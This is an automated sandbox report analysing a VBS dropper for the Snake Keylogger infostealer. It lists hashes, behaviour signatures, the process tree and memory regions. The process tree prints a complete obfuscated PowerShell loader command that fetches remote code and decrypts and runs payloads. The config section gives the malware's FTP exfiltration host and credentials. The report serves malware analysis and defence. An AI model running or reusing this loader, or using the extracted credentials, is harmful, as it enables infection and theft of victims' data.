Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250207-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250207-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-02-2025 07:07

General

  • Target

    Bin.vbs

  • Size

    91KB

  • MD5

    fbd28eace3a4bf6b63c4541e2f04de3b

  • SHA1

    cde00b20638de8639b7b3939ce03c6c56536972c

  • SHA256

    bb5552af840deeb6af6350e2775830b9b1aad9bedd4bdf4dd24cb9e8869b171c

  • SHA512

    8cd0b1b0321048ee7efc2ef325d9d952580196e27b3c06e1fd000969b8217dd74e300db6c59c004ec95c74283aa3844f20b27d87b3f9fff97697d176cd855776

  • SSDEEP

    1536:Mf16p00Re/4zkuaLIl4lUKpYVRZY9KK5swYdP/ix+IqISDQYpB5nuN84Xr:E16p00o/4zkua3lUKqfmuIwILbYpEXr

Malware Config

Extracted

Credentials

  • Protocol:
    ftp
  • Host:
    50.31.176.103
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    *ett%eUVAZK?

Extracted

Family

snakekeylogger

Credentials

  • Protocol:
    ftp
  • Host:
    ftp://50.31.176.103/
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    *ett%eUVAZK?

Signatures

  • Snake Keylogger

    Keylogger and Infostealer first seen in November 2020.

  • Snake Keylogger payload 1 IoCs
  • Snakekeylogger family
  • Blocklisted process makes network request 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Bin.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:264
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\n8Q1p6YMDl6dJd.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2860
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\n8Q1p6YMDl6dJd.bat"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4528
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdwd3lhaGx6Y2VvdGd5YXFpcHd5YWhsemNlb3RneWFxd3B3eWFobHpjZW90Z3lhcXJwd3lhaGx6Y2VvdGd5YXEgcHd5YWhsemNlb3RneWFxLXB3eWFobHpjZW90Z3lhcVVwd3lhaGx6Y2VvdGd5YXFzcHd5YWhsemNlb3RneWFxZXB3eWFobHpjZW90Z3lhcUJwd3lhaGx6Y2VvdGd5YXFhcHd5YWhsemNlb3RneWFxc3B3eWFobHpjZW90Z3lhcWlwd3lhaGx6Y2VvdGd5YXFjcHd5YWhsemNlb3RneWFxUHB3eWFobHpjZW90Z3lhcWFwd3lhaGx6Y2VvdGd5YXFycHd5YWhsemNlb3RneWFxc3B3eWFobHpjZW90Z3lhcWlwd3lhaGx6Y2VvdGd5YXFucHd5YWhsemNlb3RneWFxZ3B3eWFobHpjZW90Z3lhcSAicHd5YWhsemNlb3RneWFxaHB3eWFobHpjZW90Z3lhcXRwd3lhaGx6Y2VvdGd5YXF0cHd5YWhsemNlb3RneWFxcHB3eWFobHpjZW90Z3lhcXNwd3lhaGx6Y2VvdGd5YXE6cHd5YWhsemNlb3RneWFxL3B3eWFobHpjZW90Z3lhcS9wd3lhaGx6Y2VvdGd5YXEwcHd5YWhsemNlb3RneWFxeHB3eWFobHpjZW90Z3lhcTBwd3lhaGx6Y2VvdGd5YXEucHd5YWhsemNlb3RneWFxc3B3eWFobHpjZW90Z3lhcXRwd3lhaGx6Y2VvdGd5YXEvcHd5YWhsemNlb3RneWFxOHB3eWFobHpjZW90Z3lhcUtwd3lhaGx6Y2VvdGd5YXF1cHd5YWhsemNlb3RneWFxVnB3eWFobHpjZW90Z3lhcS5wd3lhaGx6Y2VvdGd5YXFwcHd5YWhsemNlb3RneWFxc3B3eWFobHpjZW90Z3lhcTFwd3lhaGx6Y2VvdGd5YXEiJykuUmVwbGFjZSgncHd5YWhsemNlb3RneWFxJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIHZ5dWV6KCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnWGdBdG8yZk1pVTZ2dWtnNlBqYUp3NTB5dXF3MSs3dnFvTVpYdFZ0bFo1WT0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ2htdmRhRll5dVFKVEc5K0FNcENMMUE9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gcWxybGsoJHBhcmFtX3Zhcil7CUlFWCAnJHd0cmtpPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGZ2a2NxPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckemJta2c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkd3Rya2ksIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHpibWtnLkNvcHlUbygkZnZrY3EpOwkkemJta2cuRGlzcG9zZSgpOwkkd3Rya2kuRGlzcG9zZSgpOwkkZnZrY3EuRGlzcG9zZSgpOwkkZnZrY3EuVG9BcnJheSgpO31mdW5jdGlvbiBsZmZkZSgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckZ3ZsdXU9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FzQUJDc2VBQkNtYkFCQ2xBQkN5QUJDXTo6TEFCQ29BQkNhQUJDZEFCQyhbYnl0ZVtdXSRwYXJhbV92YXIpOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRvaHpwaz0kZ3ZsdXUuQUJDRUFCQ25BQkN0QUJDckFCQ3lBQkNQQUJDb0FCQ2lBQkNuQUJDdEFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckb2h6cGsuQUJDSUFCQ25BQkN2QUJDb0FCQ2tBQkNlQUJDKCRudWxsLCAkcGFyYW0yX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7fSRlaGUgPSAkZW52OlVTRVJOQU1FOyRlanhscSA9ICdDOlxVc2Vyc1wnICsgJGVoZSArICdBQkNcQUJDZEFCQ3dBQkNtQUJDLkFCQ2JBQkNhQUJDdEFCQycuUmVwbGFjZSgnQUJDJywgJycpOyRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGVqeGxxOyRkYWxzdT1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGVqeGxxKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkbWpmIGluICRkYWxzdSkgewlpZiAoJG1qZi5TdGFydHNXaXRoKCc6OicpKQl7CQkkZWtqdHE9JG1qZi5TdWJzdHJpbmcoMik7CQlicmVhazsJfX0kdXZxaXM9W3N0cmluZ1tdXSRla2p0cS5TcGxpdCgnXCcpO0lFWCAnJG5oY3JhPXFscmxrICh2eXVleiAoW0FCQ0NBQkNvQUJDbkFCQ3ZBQkNlQUJDcnRdOjpBQkNGQUJDckFCQ29BQkNtQUJDQkFCQ2FBQkNzZTZBQkM0QUJDU0FCQ3RBQkNyaUFCQ25BQkNnQUJDKCR1dnFpc1swXSkpKTsnLlJlcGxhY2UoJ0FCQycsICcnKTtJRVggJyRkbXVhbz1xbHJsayAodnl1ZXogKFtBQkNDQUJDb0FCQ25BQkN2QUJDZUFCQ3JBQkN0XTo6QUJDRkFCQ3JBQkNvQUJDbUFCQ0JBQkNhQUJDc0FCQ2VBQkM2QUJDNEFCQ1NBQkN0ckFCQ2lBQkNuQUJDZygkdXZxaXNbMV0pKSk7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7bGZmZGUgJG5oY3JhICRudWxsO2xmZmRlICRkbXVhbyAoLFtzdHJpbmdbXV0gKCclQUJDJykpOw==')) | IEX"
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Drops startup file
          • Accesses Microsoft Outlook profiles
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • outlook_office_path
          • outlook_win_path
          PID:756
  • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
    "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7RDNBRkNGMTEtMjg0OC00QUYzLTk3MTYtREQ4OTE2NTBBODEyfSIgdXNlcmlkPSJ7QjYyMkJBNTMtMkRFQy00MDU4LUIxRUUtNjg0NEFDNjU1RTY0fSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7NThCNTBFNzQtOUE1MS00NkRDLUJBNzktMTdFNDMwRTQyQ0I4fSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSIzIiBpbnN0YWxsZGF0ZXRpbWU9IjE3Mzg5NDQ0OTciIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4MzQxNjkzODEzMjAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI0OTcxMjYyMTIyIi8-PC9hcHA-PC9yZXF1ZXN0Pg
    1⤵
    • System Location Discovery: System Language Discovery
    • System Network Configuration Discovery: Internet Connection Discovery
    PID:4980

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hyebvuh2.mai.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\n8Q1p6YMDl6dJd.bat

    Filesize

    86KB

    MD5

    dff674c49255d17b01e8b0673b1ee544

    SHA1

    c858778dc3b0e68cad12078bd8dd50a49d59f58e

    SHA256

    0cef816d13595f508a648c042b66c14dd5edda1e86f2cf8a626ecc8b6169613c

    SHA512

    af976a26a61cf2f0d4a615e2be498b0d4c9f2892233fa69c42e176874aafcf5537ed1a038d528439b3cb80b2c7a32318a76901fe19e2e692cfca817c4d4423e3

  • memory/756-27-0x0000000006A40000-0x0000000006A5A000-memory.dmp

    Filesize

    104KB

  • memory/756-45-0x0000000000FC0000-0x0000000000FCA000-memory.dmp

    Filesize

    40KB

  • memory/756-6-0x000000007406E000-0x000000007406F000-memory.dmp

    Filesize

    4KB

  • memory/756-10-0x0000000074060000-0x0000000074810000-memory.dmp

    Filesize

    7.7MB

  • memory/756-11-0x0000000005700000-0x0000000005722000-memory.dmp

    Filesize

    136KB

  • memory/756-13-0x0000000005FC0000-0x0000000006026000-memory.dmp

    Filesize

    408KB

  • memory/756-12-0x0000000005EE0000-0x0000000005F46000-memory.dmp

    Filesize

    408KB

  • memory/756-14-0x0000000006030000-0x0000000006384000-memory.dmp

    Filesize

    3.3MB

  • memory/756-7-0x0000000005130000-0x0000000005166000-memory.dmp

    Filesize

    216KB

  • memory/756-24-0x0000000006540000-0x000000000655E000-memory.dmp

    Filesize

    120KB

  • memory/756-25-0x00000000065D0000-0x000000000661C000-memory.dmp

    Filesize

    304KB

  • memory/756-26-0x0000000007C70000-0x00000000082EA000-memory.dmp

    Filesize

    6.5MB

  • memory/756-9-0x0000000074060000-0x0000000074810000-memory.dmp

    Filesize

    7.7MB

  • memory/756-8-0x0000000005840000-0x0000000005E68000-memory.dmp

    Filesize

    6.2MB

  • memory/756-38-0x0000000074060000-0x0000000074810000-memory.dmp

    Filesize

    7.7MB

  • memory/756-30-0x0000000008390000-0x0000000008422000-memory.dmp

    Filesize

    584KB

  • memory/756-32-0x0000000007C20000-0x0000000007C28000-memory.dmp

    Filesize

    32KB

  • memory/756-33-0x0000000007C40000-0x0000000007C54000-memory.dmp

    Filesize

    80KB

  • memory/756-35-0x0000000008330000-0x0000000008356000-memory.dmp

    Filesize

    152KB

  • memory/756-36-0x00000000084D0000-0x000000000856C000-memory.dmp

    Filesize

    624KB

  • memory/756-37-0x000000007406E000-0x000000007406F000-memory.dmp

    Filesize

    4KB

  • memory/756-29-0x00000000088A0000-0x0000000008E44000-memory.dmp

    Filesize

    5.6MB

  • memory/756-39-0x0000000074060000-0x0000000074810000-memory.dmp

    Filesize

    7.7MB

  • memory/756-40-0x0000000074060000-0x0000000074810000-memory.dmp

    Filesize

    7.7MB

  • memory/756-43-0x0000000005760000-0x00000000057B0000-memory.dmp

    Filesize

    320KB

  • memory/756-44-0x0000000008E50000-0x0000000009012000-memory.dmp

    Filesize

    1.8MB

  • memory/756-28-0x0000000074060000-0x0000000074810000-memory.dmp

    Filesize

    7.7MB